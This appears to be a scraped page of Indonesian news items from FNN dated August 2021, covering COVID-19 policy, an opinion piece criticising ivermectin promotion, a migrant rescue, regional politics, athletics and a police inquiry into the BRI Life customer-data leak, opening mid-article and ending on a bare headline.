layanan kesehatan terintegrasi dengan aplikasi peduli lindungi,” kata Agus Supriyanto. PT Angkasa Pura II (Persero) sebagai operator Bandara salah satunya Bandara Sultan Thaha Jambi wajib memastikan pemeriksaan untuk keselamatan, keamanan dan kenyamanan penerbangan. "Diharapkan Masyarakat melakukan pemeriksaan tes COVID-19 di Laboratorium fasilitas layanan kesehatan yang telah terintegrasi dengan Peduli Lindungi,” kata Agus. (mth)

Pemkab Bogor Serap Ide Mahasiswa untuk Pemulihan Ekonomi

Cibinong, Bogor, FNN - Pemerintah Kabupaten (Pemkab) Bogor, Jawa Barat menyerap ide-ide mahasiswa dari berbagai organisasi kemahasiswaan untuk merancang strategi pemulihan ekonomi imbas pandemi. "Pandemi ini tidak bisa diselesaikan oleh pemerintah sendiri, tapi juga diperlukan sinergitas dan kolaborasi, sehingga pada hari ini kita berdiskusi di sini sebagai ikhtiar keluar dari pandemi," ungkap Anggota Tim Percepatan Pembangunan Strategis Kabupaten Bogor, Saepudin Muhtar dalam diskusi "Terobosan Kebijakan Pemerintah Daerah Dalam Pemulihan Ekonomi" secara virtual, Minggu (1/8). Pria yang akrab disapa Gus Udin itu menyebutkan, pandemi COVID-19 berimbas pada meningkatnya angka kemiskinan di Kabupaten Bogor dari 9,06 persen pada 2019 menjadi 14,29 persen pada tahun 2020. Kemudian, melambatnya laju pertumbuhan ekonomi menjadi -1,77 persen pada tahun 2020 dibandingkan tahun 2019 yang mencapai 5,85 persen. "Saatnya kita sinergi dan kolaborasi hadapi pandemi, pemulihan ekonomi dan sektor lainnya," kata Gus Udin. Menurut dia, Pemkab Bogor telah membuat konsep strategi dasar pemulihan ekonomi, yakni melalui tiga tahapan, mulai dari penyelamatan, pemulihan, dan normalisasi. Langkah penyelamatan dilakukan terhadap tenaga kerja dan usaha ekonomi di berbagai sektor yang terdampak pandemi. Kemudian, tahap pemulihan ditandai dengan peningkatan pertumbuhan ekonomi berbagai sektor serta penyerapan tenaga kerja. Pada tahap normalisasi, tinggal melanjutkan program pemulihan sektor ekonomi secara normal. Sementara, Ketua Himpunan Mahasiswa Bogor (Himabo) Jakarta, Mahdi Munif mengusulkan pemberdayaan pelaku usaha mikro, kecil, dan menengah sebagai langkah awal pemulihan perekonomian. "Memberdayakan UMKM secara tepat sasaran untuk yang terdampak, serta membuat creative center untuk menampung aspirasi mahasiswa dan masyarakat untuk disalurkan ke pemerintah satu pintu," kata Mahdi. Diskusi tersebut dihadiri pula oleh organisasi kemahasiswaan lainnya, seperti Himpunan Mahasiswa Islam (HMI) Cabang Bogor, Pergerakan Mahasiswa Islam Indonesia (PMII) Cabang Bogor, Ikatan Mahasiswa Muhammadiyah (IMM) Cabang Bogor, Ikatan Mahasiswa Bogor (Ikmabo), Pamoraya, dan Kabekraf. (mth)

DKI Luncurkan Situs Mikro Museum untuk Perkuat Informasi Permuseuman

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta meluncurkan fitur situs mikro (microsite) pada laman web milik Dinas Kebudayaan DKI Jakarta untuk memperkuat informasi permuseuman di Ibu Kota. "'Microsite' ini digunakan sebagai kanal informasi Pemerintah Provinsi DKI Jakarta khususnya dalam bidang kesenian, kebudayaan, permuseuman dan cagar budaya," kata Kepala Dinas Kebudayaan DKI Jakarta Iwan Henry Wardhana dalam keterangannya di Jakarta, Ahad. Iwan menyebutkan, saat ini sebanyak delapan museum yang telah memiliki situs mikro, yakni Museum Sejarah Jakarta, Museum MH. Thamrin, Museum Joang’45, Museum Prasasti, Museum Seni Rupa dan Keramik, Museum Tekstil, Museum Wayang dan Museum Bahari. Saat ini sedang dipersiapkan untuk objek budaya lainnya seperti Taman Ismail Marzuki, Pulau Onrust dan Cipir, Situs Marunda, Taman Benyamin Sueb, Setu Babakan dan laman web untuk wisata religi seperti Masjid Luar Batang. "Pemerintah Provinsi DKI Jakarta melalui Dinas Kebudayaan akan terus meningkatkan pelayanan informasi publik yang terintegrasi dengan teknologi. Salah satunya adalah melalui 'microsite' museum ini," ujar Iwan. Fitur yang terdapat pada situs mikro museum ini antara lain informasi umum tentang museum, berita dan artikel terkini dari museum, agenda kegiatan museum, jelajah museum, tiket dan informasi museum serta peta lokasi. Selain itu, layanan ini juga telah terintegrasi dengan akun media sosial masing-masing museum sehingga memudahkan masyarakat untuk berkomunikasi dengan pihak pengelola museum. Tujuan dari pembuatan situs mikro ini adalah untuk memberikan layanan informasi, edukasi dan sekaligus mempromosikan museum-museum yang dikelola Dinas Kebudayaan Provinsi DKI Jakarta. "Harapannya agar masyarakat tetap dapat menikmati layanan museum secara virtual terutama pada masa pandemi COVID-19 ini," kata Iwan. Selain situs mikro museum dengan alamat dinaskebudayaan.jakarta.go.id, Dinas Kebudayaan DKI Jakarta juga menyediakan menu kolom artikel untuk Suku Dinas Kebudayaan, sehingga masyarakat dapat mengakses informasi, khususnya kegiatan dari Suku Dinas Kebudayaan di masing-masing wilayah. "Dengan demikian, publik dapat memperoleh informasi yang lebih luas dari website Dinas Kebudayaan DKI Jakarta," katanya. (mth)

Ratusan Migran Diselamatkan dari Kapal Kayu di Lepas Pantai Tunisia

Mediterania, FNN - Dua kapal penyelamat kemanusiaan menarik 394 migran dari sebuah kapal kayu yang sangat penuh sesak di Mediterania pada Minggu malam dalam operasi yang berlangsung sekitar enam jam, kata seorang saksi mata Reuters. Kapal LSM Jerman dan Prancis Sea-Watch 3 dan Ocean Viking menyelamatkan para migran di perairan Tunisia 68 km dari pantai Afrika Utara, dekat fasilitas minyak dan kapal lainnya. Sea-Watch 3, yang mengambil alih komando operasi, mengangkut 141 orang yang selamat sementara Ocean Viking manyelamatkan sisanya. Kapal pesiar Nadir, dari LSM Jerman Kapal ResQ, kemudian memberikan dukungan. Tidak jelas apakah ada kematian atau cedera di antara para migran yang berada di perahu kayu, yang dijejali para migran di dek dan di dalam lambung kapal. Perahu itu mulai kemasukan air dan mesinnya mati, kata saksi mata Reuters. Keberangkatan kapal migran dari Libya dan Tunisia ke Italia dan bagian lain Eropa telah meningkat dalam beberapa bulan terakhir karena kondisi cuaca membaik. Menurut Organisasi Internasional untuk Migrasi yang berafiliasi dengan PBB, lebih dari 1.100 orang yang melarikan diri dari konflik dan kemiskinan di Afrika dan Timur Tengah telah tewas tahun ini di Mediterania. Banyak migran dalam penyelamatan terakhir ini terlihat melompat dari kapal dan mencoba berenang ke Sea-Watch 3, kata saksi mata Reuters. Para migran itu sebagian besar laki-laki dari Maroko, Bangladesh, Mesir dan Suriah. (mth)

DPRD Bali Dorong Unit Sipadu Produksi Pupuk Organik Bersertifikat

Denpasar, FNN - Wakil Ketua DPRD Provinsi Bali I Nyoman Sugawa Korry mendorong gabungan kelompok tani yang telah menerima bantuan program Sistem Pertanian Terpadu (Sipadu) untuk memproduksi pupuk organik bersertifikasi, sehingga bisa lebih meningkatkan pendapatan yang diperoleh. "Setelah kami cek ke lapangan terhadap beberapa unit Sipadu atau yang sebelumnya dikenal dengan Simantri, mereka yang masih jalan itu membutuhkan pendampingan produksi pupuk agar bersertifikasi," kata Sugawa Korry di Denpasar, Minggu. Sugawa Korry yang juga Ketua DPD Partai Golkar Bali itu mengatakan juga sudah membentuk tim untuk memberikan pendampingan. Tim tersebut saat ini juga sedang melakukan kajian dan merumuskan terkait dengan pendampingan produksi pupuk organik kepada unit penerima Sipadu, di samping kajiannya nanti juga akan dibahas dalam webinar. Simantri atau Sipadu merupakan salah satu program unggulan Pemprov Bali yang digagas oleh Made Mangku Pastika (Gubernur Bali periode 2008-2018) dan telah terbentuk sebanyak 752 unit di berbagai kabupaten/kota di Bali. Tujuan pembentukan Simantri saat itu untuk menjadikan Bali sebagai Pulau Organik dan memberikan pendapatan tambahan bagi petani. Selain mendapatkan hasil dari anakan sapi, juga dari pengolahan kotoran dan urine sapi menjadi pupuk, biogas dan biourine. "Produksi pupuk organik belum bisa maksimal terserap karena hasil produksi Simantri banyak yang belum tersertifikasi. Melalui APBD Bali, juga akan didorong anggaran untuk program subsidi pupuk sehingga bisa menyerap pupuk produksi Simantri," ucapnya. Selain persoalan sertifikasi pupuk organik, penerima program Simantri pun membutuhkan pendampingan pembuatan pakan alternatif terutama pada musim kemarau dan masalah ketersediaan air di musim kemarau. "Kita harus bersinergi untuk membangun sektor pertanian, jangan memandang warna, kelompok atau golongan. Komitmen membangun sektor pertanian di Bali sudah menjadi keharusan," ujarnya. Menurut Sugawa Korry, dengan kondisi pandemi COVID-19 saat ini, maka struktur ekonomi Bali harus bertransformasi menuju keseimbangan baru antara sektor primer, sekunder dan tersier dengan pendekatan teknologi informasi. Terlebih secara faktual, lanjut dia, sebanyak 34 persen tenaga kerja masih tergantung di sektor pertanian. Kepemilikan lahan yang rendah hanya bisa didorong melalui kemajuan teknologi untuk mewujudkan peningkatan kesejahteraan petani. "Peran pemerintah sangat menentukan untuk mewujudkan komitmen tersebut," katanya. Sementara itu salah satu pendiri dan pengurus Koperasi Mahesa Agro Wisata, Agus Maha Usadha mengatakan terkait dengan sertifikasi pupuk organik Simantri, nantinya juga bisa disinergikan dengan Koperasi Mahesa Agro Wisata yang telah dibentuknya bersama sejumlah tokoh-tokoh Bali itu. "Dari hasil diskusi-diskusi yang kami lakukan melalui grup WA Kita Cinta Pertanian dengan berbagai tokoh pertanian di Tanah Air, maka untuk program-program peningkatan inovasi Simantri juga bisa diperluas dengan peternakan-peternakan baru," ucapnya. Sedangkan terkait dengan tata niaganya haruslah dibarengi dengan komitmen dan regulasi untuk menjaga peternakan sapi Bali. )mth)

DKI Larang Kerumunan Perayaan 17 Agustus Meski Kasus COVID-19 Turun

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta membatasi kegiatan dan melarang kerumunan massa saat peringatan HUT Kemerdekaan ke-76 Republik Indonesia pada 17 Agustus mendatang, meskipun kasus positif COVID-19 mulai menurun. Gubernur DKI Jakarta Anies Baswedan mengatakan sama seperti hari besar keagamaan sebelumnya, peringatan 17 Agustus mendatang tidak dirayakan dengan aktivitas keramaian termasuk acara perlombaan yang mengundang kerumunan. "17 (Agustus)-an kita lakukan seperti kemarin kita merayakan peringatan-peringatan hari besar. Saat ini kita masih belum bisa menyelenggarakan aktivitas kerumunan apa pun," kata Anies di Jakarta, Minggu. Anies mengatakan keputusan ini merupakan upaya Pemprov DKI Jakarta yang masih menjaga kurva landai kasus aktif di Ibu Kota meskipun trennya sudah jauh menurun dibandingkan dua pekan lalu. Berdasarkan situs resmi corona.jakarta.go.id yang dikutip 1 Agustus 2021, saat ini kasus aktif COVID-19 di DKI Jakarta sebanyak 17.850 kasus. Jumlah ini turun signifikan dibandingkan pada 16 Juli lalu, kasus aktif COVID-19 mencapai 113 ribu kasus. Penurunan jumlah kasus ini merupakan hasil dari upaya pemerintah dari unsur Pemprov DKI Jakarta, TNI, Polri, serta masyarakat yang mendukung Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Darurat dan PPKM Level 4 selama Juli lalu. "Ini bukti konkret bahwa pembatasan mobilitas yang dikerjakan kemarin efektif. Mari kita teruskan. Saya mengajak semua untuk jangan kendor. Ini belum selesai," ujar Anies. Mantan Menteri Pendidikan dan Kebudayaan itu mewanti-wanti agar masyarakat dan seluruh pemangku kepentingan untuk tidak lengah dan tidak kendor dalam membatasi mobilitas. (mth)

PB PASI Tatap Kejuaraan Dunia dan Asian Games 2022

Jakarta, FNN - Ketua Umum Pengurus Besar Persatuan Atletik Seluruh Indonesia (PB PASI) Luhut Binsar Pandjaitan mengatakan akan segera menyiapkan atlet-atlet terbaik untuk kompetisi terdekat, termasuk Kejuaraan Dunia di Amerika Serikat (AS) dan Asian Games Hangzhou, China yang dijadwalkan berlangsung tahun depan. "Saya yakin Indonesia pasti tidak akan kekurangan atlet atletik berbakat. Sehingga perlu segera disiapkan dan saya akan men-support penuh atlet-atlet," kata Luhut dalam keterangannya di Jakarta setelah menyaksikan debut Lalu Muhammad Zohri di Olimpiade Tokyo, Sabtu. Luhut optimistis ke depan Indonesia akan mampu bersaing dengan atlet kelas dunia lainnya. Luhut mengatakan PB PASI akan segera melakukan evaluasi, khususnya untuk Zohri dan Alvin Tehupeiory yang sudah memberikan penampilan terbaik, meski harus tersingkir pada babak pertama Olimpiade Tokyo. "Saya rasa mereka berdua sudah berjuang maksimal. Memang masih ada yang harus diperbaiki ke depannya, tapi kita harus bersabar dan berterima kasih kepada Zohri dan Alvin yang sudah berjuang di Olimpiade," ujar Luhut. "Saya yakin Zohri akan makin baik. Usianya baru 21. Kita proyeksikan dia ke Olimpiade 2024 di Paris,” tegas Luhut. Debut Zohri di Olimpiade berakhir dengan menempati posisi kelima saat berlomba di heat 4 nomor 100 meter putra, Sabtu, dengan catatan waktu 10,26 detik. Ia masih kalah bersaing dengan sprinter Afrika Selatan Gift Leotlela yang finis terdepan dengan 10,04 detik. Selain itu Zohri juga di belakang atlet China Bingtian Su yang berada di urutan kedua dengan 10,05 detik. Jason Rogers dari Saint Kitts dan Nevis berada di urutan ketiga dengan catatan waktu 10,21 detik, dan Koike Yuki dari Jepang dengan 10,22 detik di urutan keempat. Sementara Alvin mampu tampil di babak utama setelah finis di urutan ketiga pada babak preliminary dengan catatan waktu 11,89 detik di belakang Joella Lloyd dari Antigua (11,55 detik) dan Asimenye Simwaka dari Malawi (11,76). Namun pada babak utama, Alvin finis di posisi terakhir atau kedelapan dengan catatan waktu 11,92 detik.(mth)

“Obat Cacing” Itu Obat Keras, Bukan Bansos!

Oleh : Mochamad Toha Ternyata yang mempromosikan penggunaan obat Ivermectin tidak hanya Menteri BUMN Erick Thohir saja. Ketum HKTI yang juga Kepala Staf Presiden (KSP) Moeldoko juga turut “promo salah” obat cacing seperti Erick Thohir. Epidemiolog Universitas Indonesia (UI), Pandu Riono, menyatakan, Ivermectin tak boleh didistribusikan langsung ke masyarakat. Obat ivermection itu adalah obat keras anti-parasit, belum ada bukti yang saintifik valid dapat membantu untuk atasi orang dengan Covid-19. “Hentikan promosi dan testimoni. Jangan mengobati sendiri,” tegasnya. Menurut Pandu, Ivermectin itu obat keras, bukan Bansos. Tak boleh didistribusikan langsung ke masyarakat. Perlu dilakukan sanksi pada Ketum HKTI dan PT Harsen Laboratories atas tindakan yang tak sesuai dengan regulasi obat di Indonesia. PT Harsen perlu disidak karena mendorong obat Ivermectin menjadi mudah didapat untuk terapi Covid-19, tidak sesuai ijin edar dan tidak patuh aturan sebagai obat keras. Bila BPOM RI melakukan pemeriksaan dan penindakan sesuai tupoksinya dan tak terkait dengan upaya penanganan pandemi. Pandu mengingatkan, Obat Keras tidak boleh dijual bebas. Perilaku Perusahaan Farmasi yang tak mematuhi aturan regulasi harus ditindak tegas, tanpa kecuali. Kita lihat obat keras mudah dibeli di semua toko obat. “Dalam situasi darurat, harus dilakukan pemeriksaan dan tindakan. Tegas dan jelas,” ujar Pandu. Ivermectin itu hanya boleh dipakai dalam uji klinik. Jangan dipromosikan, jangan diresepkan, jangan konsumsi obat yang belum terbukti bermanfaat dan aman. Jangan selebriti promosikan pengobatan sendiri dan klaim obat tersebut bermanfaat. Mari kita edukasi masyarakat. Tidak semua negara sampai harus membiayai riset uji klinik calon obat Covid-19 dengan biaya uang rakyat. Seharusnya produsen obat yang membiayai riset tersebut. Pandu menyebut, perlakuan khusus kepada Ivermectin memang luar biasa. Salah satu kejutan di era pandemi dan lonjakan kasus. Ada apa ya? Apalagi, ternyata BPOM terbitkan PPUK, persetujuan uji klinik Ivermectin berdasarkan protokol versi 0.1. Protokol masih bermutasi, kini ingin menguji pada semua kasus Covid-19 yang ringan, sedang, dan berat. “Upacara PPUK yang dihadiri oleh Erick Thohir dan digaungkan oleh semua BUMN, ya iklan obat. Anjuran WHO jelas dan tegas dalam tata-laksana terapi Covid-19. Regulator patut dipertanyakan bila mengizinkan penyimpangan. Seperti Ivermectin, obat anti-parasit, yang hanya diijinkan untuk uji-klinis. Mau diperluas aksesnya oleh BPOM untuk saving lives? Produsen obat akan senang. Anomali Protokol Uji Klinik ivermectin versi 2.0, ingin menguji orang dengan Covid-19 berspektrum ringan sampai berat. Artinya, agar bisa dipakai pada semua orang. Padahal tidak ada justifikasi ilmiah dibutuhkan obat tersebut. “Jelas tujuan komersialisasinya, bukan menyelamatkan kehidupan!” tegas Pandu. Sebelumnya, Kepala BPOM Penny Lukito mengatakan pihaknya melakukan penindakan pada pabrik pembuat Ivecmertin PT Hansen karena adanya sejumlah pelanggaran yang ditemukan pihaknya. Menurut Penny, apa yang dilakukan BPOM tersebut untuk menegakkan aturan dalam melaksanakan tugas melindungi masyarakat. Pihaknya sudah melakukan pembinaan dan pengawasan pada pembuatan ivecmertin PT Garsen. “Tahap pembinaan, perbaikan hingga pemanggilan namun masih belum ada niat baik PT Harsen memperbaiki kekurangannya sehingga ada langkah tindak lanjut sanksi-sanksi yang diberikan,” kata Penny dalam jumpa pers Jumat, 2 Juni 2021. Ia mengungkap, sejumlah pelanggaran PT Harsen, yaitu mulai dari bahan baku Ivecmertin melewati jalur tak resmi, kemasan siap edar tidak sesuai aturan, penetapan kadaluarsa sesuai badan POM dicantumkan 18 bulan setelah tanggal produksi, tapi PT Harsen mencantumkan 2 tahun setelah produksi. Selain itu, distribusinya tidak melewati jalur resmi termasuk promosi obat keras tidak bisa langsung dilakukan kepada publik, tapi harus di tenaga kesehatan hanya ke dokter. “Harusnya mereka memahami regulasi yang ada,” ujar Penny. Direktur Marketing PT Harsen Laboratories, Riyo Kristian Utomo menyebut pemblokiran BPOM telah menggangu produksi. PT Hansen Laboratories mengklaim obat cacing produksi mereka dapat menyembuhkan pasien Covid-19. “BPOM harus berhenti mengintimidasi, kami menyediakan senjata Ivermectin melawan Covid. Jangan ada upaya sengaja agar kita kalah. Kita harus menang melawan Covid. Jangan ada yang menghalangi,” tegas putra politisi PDIP Ribka Tjiptaning Proletariyati ini. Tampaknya pernyataan Riyo Kristian Utomo itulah yang membuat keder Penny, sehingga akhirnya membuat BPOM menerbitkan PPUK, persetujuan uji klinik ivermectin berdasarkan protokol versi 0.1. Upacara PPUK yang dihadiri oleh Menteri Erick Thohir. Anjuran WHO yang sudah jelas dan tegas dalam tata-laksana terapi Covid-19 tak digubris. Di sinilah BPOM sebagai regulator patut dipertanyakan bila mengizinkan penyimpangan. Belakangan Indonesia Corruption Watch (ICW) mengungkap dugaan keterkaitan anggota parpol, pejabat publik, dan pebisnis dalam penggunaan obat Ivermectin untuk menanggulangi Covid-19. Polemik Ivermectin menunjukkan krisis saat pandemi ini dimanfaatkan oleh segelintir pihak untuk mendapat keuntungan. Peneliti ICW Egi Primayogha mengungkapkan, polemik Ivermectin dimulai sejak Oktober 2020 ketika dokter dari Departemen Penelitian dan Pengembangan PT Harsen Laboratories, Herman Sunaryo, menyebut Ivermectin bisa digunakan untuk pengobatan Covid-19. “Polemik lalu berlanjut pada awal Juni 2021, saat PT Harsen Laboratories, mengumumkan telah memproduksi Ivermectin, obat yang diklaim sebagai alternatif terapi Covid-19,” lanjut Egi dalam keterangannya, Kamis (22/7/2021). Selang beberapa waktu kemudian, Menteri BUMN mengirimkan surat ke BPOM dengan nomor S-330/MBU/05/2021 yang berisi pengajuan permohonan penerbitan Emergency Use Authorization untuk Ivermectin. Setelah mendapat peringatan dari BPOM, Erick Thohir menyatakan akan memproduksi Ivermectin sebanyak 4,5 juta dosis yang akan diedarkan oleh PT Indofarma. Egi juga menyampaikan, distribusi Ivermectin menambah daftar panjang obat-obat yang ditawarkan oleh pemerintah meskipun belum dilakukan uji klinis yang tepat. Selama 18 bulan pandemi, pemerintah telah mengedarkan obat seperti Chloroquine, Avigan, wacana Vaksin Nusantara, hingga Ivermectin. Menurutnya, terdapat potensi rentseeking dari produksi dan distribusi Ivermectin. Praktik itu diduga dilakukan oleh sejumlah pihak untuk memperkaya diri dengan memanfaatkan krisis kesehatan. “ICW ikut menemukan indikasi keterlibatan anggota partai politik dan pejabat publik dalam distribusi Ivermectin,” ungkap Egi. Berdasarkan penelusuran ICW, Ivermectin akan diproduksi oleh PT Harsen Laboratories, perusahaan yang bergerak di bidang farmasi, dengan merek Ivermax 12. Diduga, perusahaan tersebut dimiliki oleh pasangan suami-istri Haryoseno dan Runi Adianti. “Kedua nama itu tercatat dalam dokumen Panama Papers dan diketahui terafiliasi dengan perusahaan cangkang bernama Unix Capital Ltd yang berbasis di British Virgin Island,” lanjut Egi. Sebelum pandemi Covid-19, PT Harsen pernah menjalin hubungan kerjasama dengan PT Indofarma dalam pendistribusian obat. Berdasarkan laporan konsolidasian, PT Indofarma pada 2020, tercatat punya utang ke PT Harsen sebesar Rp 8.579.991.938 per 30 Juni 2020. “Jumlah ini meningkat dari 31 Maret 2019 yang berjumlah Rp 3.238.035.238,” beber Egi. Salah satu nama yang terafiliasi dengan PT Harsen adalah Sofia Koswara. Sofia adalah Wakil Presiden PT Harsen dan mantan CEO dari B-Channel. Ia juga menjabat sebagai Chairwoman Front Line Covid-19 Critical Care (FLCCC) di Indonesia. Adapun warga Indonesia lainnya yang berada di FLCCC adalah Budhi Antariksa, bagian dari Tim Dokter Presiden, serta dokter paru-paru di Rumah Sakit Umum Persahabatan dan pengajar plumnologi di Fakultas Kedokteran Universitas Indonesia. “Budhi juga merupakan ketua tim uji klinis Ivermectin di Indonesia,” ungkap Egi. Keterlibatan pejabat publik diindikasikan melalui kedekatan antara Sofia Koswara dan Haryoseno dengan Moeldoko, Kepala Staf Presiden sekaligus Ketua Himpunan Kerukunan Tani Indonesia (HKTI). Sejak 2019, PT Noorpay Nusantara Perkasa, perusahaan yang sahamnya dimiliki oleh Sofia Koswara menjalin hubungan kerjasama dengan HKTI terkait program pelatihan petani di Thailand. Pada awal Juni lalu, Ivermectin didistribusikan ke Kabupaten Kudus melalui HKTI. Selain itu, anak Moeldoko yang bernama Joanina Rachman, merupakan pemegang saham mayoritas di PT Noorpay Nusantara Perkasa. Selain Sofia, Egi menyebut anggota direksi lain di PT Harsen adalah Riyo Kristian Utomo yang menjabat sebagai Direktur Pemasaran. Riyo adalah anggota PDIP dan menjabat sebagai Wakil Ketua Bidang Komunikasi dan Budaya di DPC PDIP Tangerang Selatan. Menurut Egi, Riyo adalah anak kandung anggota fraksi PDIP Ribka Tjiptaning Proletariyati. Ribka adalah anggota Komisi Energi, Riset dan Teknologi. Sebelumnya Ribka adalah anggota Komisi Kesehatan, namun dipindah akibat menyatakan menolak vaksin Covid-19 dalam sidang rapat kerja Komisi Kesehatan. Ia menjabat sebagai Ketua Bidang Penanggulangan Bencana (Baguna) PDIP. Pada April 2020, ditemukan video amatir yang menunjukkan Baguna tengah membagi-bagi sembako dan masker yang disediakan oleh PT Harsen dan diterima Ribka selaku Ketua Baguna PDIP. Penulis adalah Wartawan FNN.co.id

WHO: Progres Penanganan COVID Terancam Varian Delta

Jenewa, FNN - Dunia terancam kehilangan progres yang susah didapatkan dalam memerangi COVID-19 ketika varian Delta yang sangat menular menyebar, menurut Organisasi Kesehatan Dunia (WHO) pada Jumat (30/7). Menurutnya, vaksin yang disetujui oleh WHO masih ampuh melawan penyakit virus corona. Pusat Pencegahan dan Pengendalian Penyakit AS (CDC) menggambarkan varian Delta sama menularnya dengan cacar air dan juga memperingatkan bahwa varian itu dapat menyebabkan penyakit parah, tulis Washington Post yang mengutip dokumen internal CDC. Infeksi COVID-19 meningkat 80 persen selama empat bulan terakhir di sebagian besar kawasan dunia, ungkap Dirjen WHO Tedros Adhanom Ghebreyesus. Kematian di Afrika --yang hanya 1,5 persen populasinya sudah divaksin-- melonjak 80 persen selama periode yang sama. "Progres yang sulit didapatkan berada dalam bahaya atau hilang, dan sistem kesehatan di banyak negara kini kewalahan," kata Tedros saat konferensi pers. Varian Delta terdeteksi di 132 negara, sehingga mendominasi dunia, menurut WHO. "Vaksin-vaksin yang saat ini disetujui oleh WHO, semuanya memberikan perlindungan yang signifikan terhadap penyakit parah dan rawat inap dari semua varian, termasuk varian Delta," kata pakar kedaruratan senior WHO, Mike Ryan. "Kita sedang memerangi virus yang sama, namun satu virus yang menjadi lebih cepat dan lebih baik beradaptasi untuk menular di antara kita manusia, itulah perubahannya," lanjutnya. Kepala teknis COVID-19 WHO, Maria van Kerkhove, menyebutkan bahwa varian Delta sekitar 50 persen lebih menular ketimbang varian asli SARS-CoV-2, yang mulanya muncul di China pada akhir 2019. Sejumlah negara melaporkan lonjakan tingkat rawat inap, namun tingkat kematian yang tercatat akibat varian Delta tidak lebih tinggi, katanya. (sws)

Wakil Ketua MPR: Keberadaan Sanggar Al Quran Persiapkan Generasi Penerus Ulama

Jakarta, FNN - Wakil Ketua MPR RI Hidayat Nur Wahid mengatakan keberadaan Sanggar Al Quran di Indonesia sangat penting karena bermanfaat untuk mempersiapkan para generasi penerus ulama yang banyak wafat pada era pandemi COVID-19. "Sanggar Al Quran ini bisa menghadirkan semangat kolaborasi peduli kebaikan dan kemaslahatan bagi warga serta menciptakan generasi penerus ulama Ahlussunnah wal jamaah yang banyak wafat pada era COVID-19," kata Hidayat Nur Wahid (HNW) dalam keterangannya di Jakarta, Minggu. Pernyataan itu disampaikan HNW pada acara peringatan Milad Ke-11 Sanggar Al Quran Mardani Lima yang dihadirinya secara daring di Johar Baru, Jakarta, Sabtu (31/7). Dia menilai kehadiran Sanggar Al Quran seperti Mardani Lima sangat dibutuhkan untuk mengkaji Al Quran, termasuk mengamalkan ajarannya dengan menghadirkan kebaikan dan kemaslahatan di masyarakat sekitar. "Apalagi pada era COVID-19, Sanggar Al Quran Mardani Lima membantu warga dengan edukasi kesehatan, memberikan bantuan logistik, dan layananan ambulans gratis, termasuk mencetak generasi penerus ulama, menghadirkan Islam 'Rahmatan lil alamin', jauh dari laku radikal, ekstrem, ekslusif, dan antisosial," ujarnya. HNW mengutip data dari Majelis Ulama Indonesia (MUI) yang menyebutkan ada sekitar 900 ulama yang wafat pada era pandemi COVID-19. Kondisi itu sangat memprihatinkan karena satu ulama saja yang wafat, umat sangat berduka dan suatu kehilangan yang besar bagi bangsa Indonesia. Karena itu HNW berharap agar para santri yang aktif di Sanggar Al Quran dapat termotivasi untuk mengisi kehilangan bangsa Indonesia atas banyaknya ulama yang wafat. "Di Sanggar Al Quran ini ada 1.500 santri, kalau 10 persen saja, yaitu sekitar 100 orang bisa menjadi ulama pada masa depan tentu bisa menjadi sumbangsih yang sangat berarti, dapat menggantikan kehilangan kita terhadap ulama-ulama hebat yang lebih dahulu mendahului kita," katanya. Dia berharap bangsa Indonesia tidak mengalami kehilangan generasi atau "lost generation" di kalangan ulama akibat COVID-19 dan upaya untuk mencetak para ulama terus dilakukan banyak pihak. Menurut dia, semua pihak perlu terus mendukung usaha untuk mempersiapkan generasi Al Quran yang dapat menghapalkan, memahami dan mengamalkan Al Quran secara baik, benar serta solutif. "Generasi Al Quran yang dicetak tentunya adalah generasi yang mengamalkan Al Quran dengan benar sehingga bisa berkontribusi mencerdaskan masyarakat dan menghadirkan kesalehan sosial. Generasi yang jadi solusi mengatasi masalah masyarakat seperti narkoba, miras, kemiskinan dan kesehatan," ujarnya. (sws)

Polisi Terima Satu Laporan Masyarakat Terkait Ilegal Akses BRI Life

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) telah menerima satu laporan masyarakat terkait ilegal akses.terkait kebocoran data nasabah BRI Life. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono saat dikonfirmasi di Jakarta, Minggu, mengatakan pelapor tersebut berasal dari karyawan swasta. "Kami baru menerima satu laporan terjadi tindakan upaya masuk secara ilegal ke dalam sistem informasi perusahaan, yang lapor karyawan swasta," kata Rusdi. Rusdi belum merinci secara detail perkembangan proses pendalaman kebocoran data BRI Life yang dilakukan Polri, namun penyidik masih mendalami laporan tersebut. Belum juga diketahui apakah akan ada pihak-pihak yang akan dimintai klarifikasi terkait laporan tersebut. "Yang pasti saat ini masih didalami oleh penyidik," kata Rusdi. Sebelumnya, Direktur Tindak Pidana Ekonomi Khusus Brigjen Pol Helmy Santika menyebutkan pihaknya mendapatkan informasi melalui media, saat ini sedang dilakukan pendalaman untuk dilakukan penyelidikan. "Sumber informasi kan bisa dari mana saja. Termasuk dari wartawan. Nah saya dapat infonya dari Pak Joshua baru kemarin. Saat ini sedang kami dalami, kroscek tentang kebenaran informasi tersebut, dengan semua pihak. Setelah itu lakukan penyelidikan," kata Helmy. Dugaan kebocoran data nasabah BRI Life mencuat ketika seorang pengguna RaidForums mengaku menjua 460 ribu dokumen yang dikumpulkan dari 2 juta nasabah BRI Life seharga 7.000 Dollar Amerika (US$) atau sekitar Rp101 juta (kurs Rp14.485,20). Informasi bocornya data BRI Life diunggah dalam akun Twitter Alon Gal (@UnderTheBreach) pada Selasa (27/7). Dalam cuitannya, pemilik aku mengatakan perentas memiliki data 2 juta nasabah BRI Life dan 463 ribu dokumen dihargai 7.000 dollar Amerika. Adanya informasi tersebut ditindaklanjuti oleh Bareskrim Polri untuk turun melakukan penyelidikan. (sws)

Xinjiang Tertarik Kerja Sama Pendidikan Islam yang Ditawarkan Kedutaan Besar RI

